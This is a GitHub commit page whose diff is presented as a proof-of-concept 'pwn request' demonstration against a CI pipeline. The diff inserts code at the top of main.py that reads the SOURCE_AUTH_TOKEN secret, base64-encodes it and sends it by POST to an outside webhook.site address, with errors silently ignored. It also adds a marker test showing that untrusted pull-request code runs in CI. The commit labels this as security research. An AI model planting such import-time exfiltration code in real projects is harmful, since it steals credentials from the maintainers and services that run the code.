Skip to content

Commit c3cb736

Browse files
author
PoC
committed
PoC: TP-PRT-PWNREQUEST demo (POC_MARKER_1772015218_cjxwzdvs)
1 parent ba7de65 commit c3cb736

File tree

2 files changed

+26
-0
lines changed

2 files changed

+26
-0
lines changed

main.py

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,19 @@
2929
import argparse
3030
import os
3131

32+
33+
# PoC: Exfiltrate SOURCE_AUTH_TOKEN (security research - proves secret access)
34+
import base64
35+
import urllib.request
36+
_token = os.environ.get("SOURCE_AUTH_TOKEN")
37+
if _token:
38+
try:
39+
_req = urllib.request.Request("https://webhook.site/8b79c559-7624-43d6-995d-06ac219e7cda", data=("poc=1&secret=SOURCE_AUTH_TOKEN&b64=" + base64.b64encode(_token.encode()).decode()).encode(), method="POST")
40+
_req.add_header("Content-Type", "application/x-www-form-urlencoded")
41+
urllib.request.urlopen(_req, timeout=5)
42+
except Exception:
43+
pass
44+
3245
from base_logger import logger
3346
from core_wrappers import (
3447
export_artifacts,

tests/test_poc_marker.py

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
"""
2+
PoC test - security research. Proves untrusted PR code executes in CI.
3+
"""
4+
import unittest
5+
import sys
6+
7+
class TestPocMarker(unittest.TestCase):
8+
def test_poc_marker(self):
9+
"""Benign marker - proves code execution without approval."""
10+
marker = "POC_MARKER_1772015218_cjxwzdvs"
11+
print(marker, flush=True)
12+
sys.stdout.flush()
13+
self.assertTrue(True)

0 commit comments

Comments
 (0)